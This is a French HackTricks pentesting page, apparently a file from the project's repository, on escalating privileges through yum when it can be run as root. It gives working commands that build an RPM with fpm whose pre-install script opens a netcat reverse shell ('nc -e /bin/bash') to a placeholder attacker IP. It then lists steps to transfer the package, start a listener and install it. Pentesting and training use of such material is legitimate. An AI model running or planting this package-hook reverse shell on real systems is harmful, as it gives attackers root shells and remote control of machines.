hacktricks/linux-unix/privilege-escalation/exploiting-yum.md
2023-06-03 13:10:46 +00:00

3.3 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

D'autres exemples autour de yum peuvent également être trouvés sur gtfobins.

Exécution de commandes arbitraires via les paquets RPM

Vérification de l'environnement

Pour exploiter cette vulnérabilité, l'utilisateur doit être en mesure d'exécuter des commandes yum en tant qu'utilisateur à privilèges élevés, c'est-à-dire root.

Un exemple de travail de cette vulnérabilité

Un exemple de travail de cette vulnérabilité peut être trouvé dans la salle daily bugle sur tryhackme.

Emballage d'un RPM

Dans la section suivante, je vais couvrir l'emballage d'un shell inversé dans un RPM en utilisant fpm.

L'exemple ci-dessous crée un paquet qui inclut un déclencheur avant l'installation avec un script arbitraire qui peut être défini par l'attaquant. Lorsqu'il est installé, ce paquet exécutera la commande arbitraire. J'ai utilisé un exemple de shell netcat inversé simple à des fins de démonstration, mais cela peut être modifié selon les besoins.

EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR

Obtenir un shell

En utilisant l'exemple ci-dessus et en supposant que yum peut être exécuté en tant qu'utilisateur à privilèges élevés :

  1. Transférez le fichier rpm sur l'hôte
  2. Démarrez un écouteur sur votre hôte local tel que l'exemple d'écouteur netcat
  3. Installez le package vulnérable yum localinstall -y exploited-1.0-1.noarch.rpm